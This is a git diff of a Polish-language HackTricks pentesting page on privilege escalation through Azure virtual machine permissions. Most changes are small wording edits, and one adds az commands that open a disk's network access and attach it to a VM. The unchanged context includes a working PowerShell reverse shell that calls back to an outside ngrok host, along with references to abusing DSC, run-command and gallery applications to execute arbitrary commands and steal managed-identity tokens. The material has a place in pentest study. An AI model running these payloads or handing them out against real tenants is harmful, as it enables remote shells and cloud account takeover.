{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
index 4f1955504..954da81b0 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
@@ -49,7 +49,7 @@ az vm extension set \
{{#tab name="Windows" }}
-- Wykonaj powłokę odwrotną
+- Wykonaj odwrotny powłokę
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
DesiredConfigurationState (DSC)
-To jest **rozszerzenie VM**, które należy do Microsoft i wykorzystuje PowerShell DSC do zarządzania konfiguracją maszyn wirtualnych Windows w Azure. Dlatego może być używane do **wykonywania dowolnych poleceń** w maszynach wirtualnych Windows za pomocą tego rozszerzenia:
+To jest **rozszerzenie VM**, które należy do Microsoft i wykorzystuje PowerShell DSC do zarządzania konfiguracją maszyn wirtualnych Windows w Azure. Dlatego można go używać do **wykonywania dowolnych poleceń** w maszynach wirtualnych Windows za pomocą tego rozszerzenia:
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -163,9 +163,9 @@ To jest rozszerzenie VM, które umożliwia wykonywanie runbooków w VM z konta a
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
-To są wymagane uprawnienia do **utworzenia nowej aplikacji w galerii i jej wykonania wewnątrz VM**. Aplikacje w galerii mogą wykonywać cokolwiek, więc atakujący mógłby to wykorzystać do kompromitacji instancji VM wykonujących dowolne polecenia.
+To są wymagane uprawnienia do **utworzenia nowej aplikacji w galerii i jej uruchomienia wewnątrz VM**. Aplikacje w galerii mogą wykonywać cokolwiek, więc atakujący mógłby to wykorzystać do kompromitacji instancji VM, wykonując dowolne polecenia.
-Ostatnie 2 uprawnienia mogą być unikane przez udostępnienie aplikacji najemcy.
+Ostatnie 2 uprawnienia mogą być pominięte przez udostępnienie aplikacji najemcy.
Przykład wykorzystania do wykonywania dowolnych poleceń:
@@ -251,7 +251,7 @@ az vm application set \
### `Microsoft.Compute/virtualMachines/runCommand/action`
-To najprostszy mechanizm, który Azure udostępnia do **wykonywania dowolnych poleceń w VM:**
+To najprostszy mechanizm, który Azure oferuje do **wykonywania dowolnych poleceń w VM:**
{{#tabs }}
{{#tab name="Linux" }}
@@ -308,7 +308,7 @@ To uprawnienie pozwala użytkownikowi na **logowanie się jako użytkownik do VM
Logowanie przez **SSH** za pomocą **`az ssh vm --name --resource-group `** oraz przez **RDP** za pomocą swoich **zwykłych poświadczeń Azure**.
-## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
+### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Wszystkie te uprawnienia są niezbędne do **utworzenia VM z określoną zarządzaną tożsamością** i pozostawienia **otwartego portu** (22 w tym przypadku). Umożliwia to użytkownikowi utworzenie VM i połączenie się z nią oraz **kradzież tokenów zarządzanej tożsamości** w celu eskalacji uprawnień do niej.
@@ -328,7 +328,7 @@ az vm create \
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Te uprawnienia są wystarczające, aby **przypisać nowe zarządzane tożsamości do VM**. Należy zauważyć, że VM może mieć kilka zarządzanych tożsamości. Może mieć **przypisaną tożsamość systemową** oraz **wiele tożsamości zarządzanych przez użytkownika**.\
-Następnie, z usługi metadanych możliwe jest generowanie tokenów dla każdej z nich.
+Następnie, z usługi metadanych, możliwe jest generowanie tokenów dla każdej z nich.
```bash
# Get currently assigned managed identities to the VM
az vm identity show \
@@ -349,7 +349,7 @@ Następnie atakujący musi **w jakiś sposób skompromitować VM**, aby ukraść
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
-### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
+### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
Te uprawnienia pozwalają na zmianę użytkownika i hasła maszyny wirtualnej, aby uzyskać do niej dostęp:
```bash
@@ -359,8 +359,24 @@ az vm user update \
--username \
--password
```
+### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
+
+Te uprawnienia pozwalają zarządzać dyskami i interfejsami sieciowymi oraz umożliwiają podłączenie dysku do maszyny wirtualnej.
+```bash
+# Update the disk's network access policy
+az disk update \
+--name \
+--resource-group \
+--network-access-policy AllowAll
+
+# Attach the disk to a virtual machine
+az vm disk attach \
+--vm-name \
+--resource-group \
+--name
+```
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
-Zgodnie z [**dokumentacją**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), ta uprawnienie pozwala zarządzać systemem operacyjnym twojego zasobu za pomocą Windows Admin Center jako administrator. Wygląda na to, że to daje dostęp do WAC w celu kontrolowania maszyn wirtualnych...
+Zgodnie z [**dokumentacją**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), ta uprawnienie pozwala zarządzać systemem operacyjnym zasobu za pomocą Windows Admin Center jako administrator. Wygląda na to, że to daje dostęp do WAC w celu kontrolowania maszyn wirtualnych...
{{#include ../../../banners/hacktricks-training.md}}